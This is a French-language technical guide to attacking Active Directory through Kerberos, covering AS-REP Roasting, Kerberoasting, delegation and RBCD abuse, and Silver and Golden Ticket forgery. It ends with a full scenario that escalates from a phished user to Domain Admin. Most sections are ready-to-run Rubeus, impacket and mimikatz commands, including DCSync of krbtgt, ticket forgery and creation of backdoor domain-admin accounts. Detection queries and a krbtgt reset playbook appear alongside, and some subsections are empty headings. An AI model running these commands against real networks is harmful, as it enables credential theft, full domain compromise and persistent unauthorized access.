Chaîne d'exploitation Kerberos en AD : from AS-REP Roasting to Golden Ticket

1. Fondamentaux du protocole Kerberos dans Active Directory

1.1 Architecture et composants essentiels

Kerberos, développé au MIT et standardisé dans le RFC 4120, repose sur un système de tickets cryptographiques pour authentifier les utilisateurs et services dans un environnement réseau. Dans un contexte Active Directory, les composants clés incluent :

• Key Distribution Center (KDC) : Implémenté au sein des contrôleurs de domaine (DC), le KDC gère deux services critiques : l'Authentication Service (AS) et le Ticket Granting Service (TGS).
• Authentication Service (AS) : Responsable de l'authentification initiale des utilisateurs et de la délivrance des Ticket Granting Tickets (TGT).
• Ticket Granting Service (TGS) : Émet des tickets de service (ST) permettant l'accès aux ressources spécifiques du domaine.
• Principal : Entité identifiable de manière unique (utilisateur, ordinateur, ou service) au sein du domaine.
• Tickets : Structures cryptographiques contenant des informations d'authentification avec une durée de validité limitée.

1.2 Flux d'authentification Kerberos standard

Le processus d'authentification Kerberos se déroule en plusieurs étapes distinctes :

1. AS-REQ (Authentication Service Request) : Le client envoie une requête d'authentification au KDC, incluant l'identifiant de l'utilisateur et un timestamp chiffré avec le hash du mot de passe de l'utilisateur.
2. AS-REP (Authentication Service Reply) : Si l'authentification réussit, le KDC renvoie un TGT chiffré avec la clé secrète du service krbtgt, ainsi qu'une session key chiffrée avec le hash du mot de passe de l'utilisateur.
3. TGS-REQ (Ticket Granting Service Request) : Le client présente son TGT au KDC pour demander l'accès à un service spécifique.
4. TGS-REP (Ticket Granting Service Reply) : Le KDC valide le TGT et émet un Service Ticket (ST) chiffré avec la clé du service cible.
5. AP-REQ (Application Request) : Le client présente le ST au service cible pour établir la connexion.

2. Phase de reconnaissance et énumération

2.1 Énumération des comptes vulnérables

Avant d'exploiter les failles Kerberos, un attaquant doit d'abord identifier les cibles potentielles. Cette phase de reconnaissance utilise des techniques passives et actives pour cartographier l'environnement AD.

# Énumération des utilisateurs sans préauthentification Kerberos requise
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol

# Recherche des comptes de service avec SPN
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname

# Identification des comptes avec délégation non contrainte
Get-DomainComputer -Unconstrained | Select-Object name,dnshostname

# Collecte des données avec SharpHound
.\SharpHound.exe -c All -d domain.local --zipfilename bloodhound_data.zip

# Requêtes Cypher utiles dans BloodHound
MATCH (u:User {hasspn:true}) RETURN u
MATCH (u:User {dontreqpreauth:true}) RETURN u
MATCH p=shortestPath((u:User)-[*1..]->(g:Group)) WHERE g.name="DOMAIN ADMINS" RETURN p

2.2 Techniques d'énumération LDAP

L'interrogation directe du serveur LDAP d'Active Directory permet d'extraire des informations détaillées sans déclencher de nombreuses alertes de sécurité.

# Utilisation de ldapsearch (Linux/Unix)
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
  "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  samaccountname userAccountControl

# Recherche des SPNs avec ldapsearch
ldapsearch -x -H ldap://dc01.domain.local -b "DC=domain,DC=local" \
  "servicePrincipalName=*" samaccountname servicePrincipalName

3. AS-REP Roasting : exploitation des comptes sans préauthentification

3.1 Principe de l'attaque

L'AS-REP Roasting exploite une configuration Active Directory où certains comptes ont l'attribut "Ne pas demander la préauthentification Kerberos" (DONT_REQ_PREAUTH) activé. Normalement, lors d'une authentification Kerberos, le client doit prouver son identité en chiffrant un timestamp avec son mot de passe avant de recevoir un TGT. Lorsque la préauthentification est désactivée, le KDC envoie immédiatement une réponse AS-REP contenant des données chiffrées avec le hash du mot de passe de l'utilisateur, sans vérification préalable.

3.2 Exploitation pratique

# AS-REP Roasting avec Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Ciblage d'un utilisateur spécifique
.\Rubeus.exe asreproast /user:vulnerable_user /format:john /nowrap

# AS-REP Roasting depuis Linux avec impacket
python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

3.3 Craquage des hashes AS-REP

Une fois les hashes AS-REP extraits, ils peuvent être craqués hors ligne à l'aide d'outils spécialisés :

# Craquage avec Hashcat (mode 18200 pour AS-REP)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Craquage avec John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt

# Utilisation de règles de mutation avancées
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/dive.rule -O -w 3

3.4 Détection et mitigation

# Requête Splunk pour détecter AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count by src_ip, user
| where count > 10

# Règle Sigma pour AS-REP Roasting
title: AS-REP Roasting Attack Detection
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4768
        PreAuthenticationType: 0
    condition: selection
    timeframe: 5m
    count: > 5
falsepositives:
    - Legitimate applications with pre-authentication disabled
level: high

4. Kerberoasting : ciblage des Service Principal Names (SPN)

4.1 Fondements techniques

Le Kerberoasting exploite le mécanisme légitime de demande de tickets de service dans Kerberos. Lorsqu'un utilisateur authentifié demande un Service Ticket (ST) pour un service identifié par son SPN, le KDC renvoie un ticket chiffré avec le hash NTLM du compte de service. Cette opération est normale et ne nécessite aucun privilège particulier, mais elle permet à un attaquant d'extraire ces tickets et de les soumettre à une attaque hors ligne.

Les comptes de service sont particulièrement vulnérables car ils utilisent souvent des mots de passe faibles ou rarement changés pour des raisons de compatibilité applicative.

4.2 Exploitation avec outils modernes

# Kerberoasting basique
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Kerberoasting avec filtrage sur les comptes administratifs
.\Rubeus.exe kerberoast /ldapfilter:"(adminCount=1)" /format:hashcat

# Ciblage des comptes avec chiffrement RC4 (plus faible)
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec

# Kerberoasting d'un SPN spécifique
.\Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.domain.local:1433 /nowrap

# Kerberoasting depuis Linux
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request

# Sauvegarde des hashes au format Hashcat
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 \
    -request -outputfile kerberoast.hash

# Kerberoasting avec authentification Kerberos
python3 GetUserSPNs.py domain.local/user -k -no-pass -dc-ip 10.10.10.10 -request

4.3 Optimisation du craquage de tickets

Les tickets de service Kerberos utilisent différents algorithmes de chiffrement. Les plus courants sont RC4-HMAC (type 23) et AES256-CTS-HMAC-SHA1-96 (type 18). Les tickets RC4 sont significativement plus rapides à craquer.

# Craquage optimisé avec Hashcat
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt \
    -r rules/OneRuleToRuleThemAll.rule -O -w 4

# Utilisation de masques pour les politiques de mots de passe connues
hashcat -m 13100 kerberoast.hash -a 3 ?u?l?l?l?l?l?l?d?d?s

# Attaque hybride : dictionnaire + masques
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt -a 6 ?d?d?d?d

# Analyse du hash pour identifier le type
hashcat --identify kerberoast.hash

4.4 Détection et réponse

# Requête PowerShell pour identifier les tentatives de Kerberoasting
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} -MaxEvents 10000 | 
    Where-Object {$_.Properties[8].Value -eq '0x17'} | 
    Group-Object {$_.Properties[0].Value} | 
    Where-Object {$_.Count -gt 5} | 
    Select-Object Count, Name

# Script de détection avancé avec analyse temporelle
$events = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769;StartTime=(Get-Date).AddHours(-1)}
$grouped = $events | Group-Object {$_.Properties[5].Value}
$suspicious = $grouped | Where-Object {$_.Count -gt 10}
$suspicious | ForEach-Object {
    Write-Warning "Compte suspect: $($_.Name) - $($_.Count) requêtes TGS"
}

5. Attaques de délégation Kerberos

5.1 Délégation non contrainte (Unconstrained Delegation)

La délégation non contrainte permet à un service de s'authentifier auprès de n'importe quel autre service au nom d'un utilisateur. Lorsqu'un utilisateur s'authentifie auprès d'un service configuré avec délégation non contrainte, son TGT est envoyé au service et stocké en mémoire. Un attaquant compromettant ce service peut extraire tous les TGTs stockés et les utiliser pour usurper l'identité des utilisateurs.

# Surveillance des nouvelles sessions (nécessite privilèges locaux admin)
.\Rubeus.exe monitor /interval:5 /filteruser:administrator

# Extraction des TGTs depuis la mémoire LSASS
.\Rubeus.exe triage

# Dump d'un TGT spécifique
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt

# Réutilisation d'un TGT extrait (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:base64encodedticket

5.2 Délégation contrainte (Constrained Delegation)

La délégation contrainte limite les services auxquels un compte peut déléguer. Elle s'appuie sur l'extension S4U2Self et S4U2Proxy. Un attaquant compromettant un compte avec délégation contrainte peut demander un ticket de service pour n'importe quel utilisateur (y compris des administrateurs) vers les services autorisés.

# Énumération des comptes avec délégation contrainte
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Exploitation avec Rubeus (nécessite hash ou ticket du compte)
.\Rubeus.exe s4u /user:serviceaccount$ /rc4:ntlmhash /impersonateuser:administrator \
    /msdsspn:cifs/targetserver.domain.local /ptt

# Exploitation depuis Linux avec impacket
python3 getST.py -spn cifs/targetserver.domain.local -impersonate administrator \
    domain.local/serviceaccount$ -hashes :ntlmhash

5.3 Délégation contrainte basée sur les ressources (RBCD)

Introduite dans Server 2012, la RBCD inverse le modèle de délégation : ce n'est plus le service frontal qui définit où il peut déléguer, mais le service backend qui définit qui peut déléguer vers lui. L'attribut msDS-AllowedToActOnBehalfOfOtherIdentity contrôle cette configuration.

# 1. Vérifier les permissions d'écriture (PowerView)
Get-DomainObjectAcl -Identity targetserver$ | ? {$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll"}

# 2. Créer un compte machine contrôlé (nécessite MAQ > 0)
Import-Module Powermad
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

# 3. Configurer RBCD sur la cible
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer targetserver$ | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# 4. Exploitation avec Rubeus
.\Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:FC525C9683E8FE067095BA2DDC971889 \
    /impersonateuser:administrator /msdsspn:cifs/targetserver.domain.local /ptt

# 5. Accès à la cible
dir \\targetserver.domain.local\c$

5.4 Protection contre les attaques de délégation

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled